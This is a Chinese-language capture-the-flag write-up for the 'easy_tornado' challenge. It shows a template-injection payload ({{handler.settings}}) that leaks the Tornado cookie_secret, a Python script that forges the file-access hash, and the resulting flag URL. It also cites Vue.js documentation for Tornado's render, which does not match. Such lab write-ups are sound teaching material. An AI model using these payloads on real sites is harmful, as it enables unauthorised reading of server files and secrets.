护网杯 2018 easy_tornado

访问题目

点击3个链接
http://3516a115-dfe7-4271-9acd-e91e2105be04.node3.buuoj.cn/file?filename=/flag.txt&filehash=873061c462852a3cea2cc5a47ed7203c

提示了flag所在位置

http://3516a115-dfe7-4271-9acd-e91e2105be04.node3.buuoj.cn/file?filename=/welcome.txt&filehash=a10b7401b42ad264a1455b10cd323f5a

提示了render函数

http://3516a115-dfe7-4271-9acd-e91e2105be04.node3.buuoj.cn/file?filename=/hints.txt&filehash=cc2782811517430154e850bf016aa99c

提示了签名的算法,所以这里我们需要找到cookie_secret。由于本题目采用的是tornado框架

在不更改签名的情况下访问fllllllllllllag文件

提示错误,这里可以看到存在msg=Error,做测试msg={{1^99}},可以从下图看到render模板执行了。

渲染函数render的资料https://cn.vuejs.org/v2/guide/render-function.html

根据tornado的文档找到cookie_secret在文件handler/settings中,使用render读取此文件内容。

http://3516a115-dfe7-4271-9acd-e91e2105be04.node3.buuoj.cn/error?msg={{handler.settings}}

cookie_secret为3e234619-1c79-4fe9-ac54-03a529c8c2ae

根据签名算法md5(cookie_secret+md5(filename)),写脚本。

import hashlib

md5 = hashlib.md5()
filename = '/fllllllllllllag'
cookie_secret = '3e234619-1c79-4fe9-ac54-03a529c8c2ae'
md5.update(filename.encode("utf8"))
file_md5 = md5.hexdigest()
print file_md5
md5 = hashlib.md5()
md5.update(cookie_secret + file_md5)
sign = md5.hexdigest()
print sign

得到签名为 00141bd962089e962ea4ecc5a29e6a32,构造链接
http://3516a115-dfe7-4271-9acd-e91e2105be04.node3.buuoj.cn/file?filename=/fllllllllllllag&filehash=00141bd962089e962ea4ecc5a29e6a32 访问。

flag{58c07c13-dd0a-43da-84f3-93c2cfdac5b9}

发表评论

电子邮件地址不会被公开。 必填项已用*标注